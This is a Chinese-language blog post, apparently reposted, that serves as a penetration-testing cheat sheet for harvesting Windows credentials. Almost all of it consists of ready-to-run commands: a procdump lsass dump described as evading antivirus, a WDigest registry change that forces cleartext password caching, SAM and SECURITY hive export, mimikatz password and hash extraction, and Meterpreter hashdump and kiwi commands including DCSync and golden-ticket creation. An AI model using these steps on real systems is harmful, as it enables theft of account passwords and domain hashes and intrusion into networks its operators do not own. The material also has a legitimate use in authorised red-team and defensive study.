内网渗透Windows密码凭证获取

记录一下抓取window凭证信息的一些工具
Windows凭证抓取

1，procdump (官方工具无视免杀)（首选）
procdump mimikatz 加载dmp文件，并导出其中的明文密码(procdump过杀软)

管理员运行工具，导出为lsass.dump文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp 　　#32位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

将lsass.dmp放在mimikatz同一目录，读取密码文件
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

2，注册表读取windows hash (首选)
当目标为win10或2012R2以上时，默认在内存缓存中禁止保存明文密码，但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

注册表读取密码主要获取的是3个文件

导出文件
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
reg save hklm\security security.hive
通过mimikatz读取管理员密码的hash值
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> hiv.txt
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive /security:security.hive " exit> hash.txt

3，Pwdump

下载地址
https://www.openwall.com/passwords/windows-pwdump
管理员运行cmd，命令执行pwdump7.exe

4，mimikatz(名声最大的密码获取工具)

项目地址：https://github.com/gentilkiwi/mimikatz/

需要管理员权限
sekurlsa模块

提取权限
privilege::debug  

抓取用户明文密码
sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

5，MSF
MSF框架密码抓取

抓取自动登录的密码
很多用户习惯将计算机设置自动登录，可以使用run windows/gather/credentials/windows_autologin抓取自动登录的用户名和密码。

meterpreter > run windows/gather/credentials/windows_autologin

hashdump导出密码哈希
hashdump模块可以从SAM数据库中导出本地用户账号，该命令的使用需要系统权限。

meterpreter > run hashdump

run windows/gather/smart_hashdump命令导出希哈值
run windows/gather/smart_hashdump命令的使用需要系统权限。
该功能更强大，如果当前用户是域管理员用户，则可以导出域内所有用户的hash

meterpreter > run windows/gather/smart_hashdump

kiwi模块明文密码导出
mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，
所以我们在使用该模块之前需要将当前MSF中的shell提升为system。
kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制。

进程迁移

查看当前系统信息，可以看出目标系统是多少位的
sysinfo #查看当前系统信息
查看进程信息
ps  #查看进程
migrate PID

kiwi模块使用

load kiwi				#加载模块
help kiwi
creds_all：             #列举所有凭据
creds_kerberos：        #列举所有kerberos凭据
creds_msv：             #列举所有msv凭据
creds_ssp：             #列举所有ssp凭据
creds_tspkg：           #列举所有tspkg凭据
creds_wdigest：         #列举所有wdigest凭据
dcsync：                #通过DCSync检索用户帐户信息
dcsync_ntlm：           #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：  #创建黄金票据
kerberos_ticket_list：  #列举kerberos票据
kerberos_ticket_purge： #清除kerberos票据
kerberos_ticket_use：   #使用kerberos票据
kiwi_cmd：              #执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：          #dump出lsa的SAM
lsa_dump_secrets：      #dump出lsa的密文
password_change：       #修改密码
wifi_list：             #列出当前用户的wifi配置文件
wifi_list_shared：      #列出共享wifi配置文件/编码

kiwi_cmd 模块可以让我们使用mimikatz的全部功能，该命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords

6，CS
CS和MSF命令差不多

这篇好文章是转载于：学新通技术网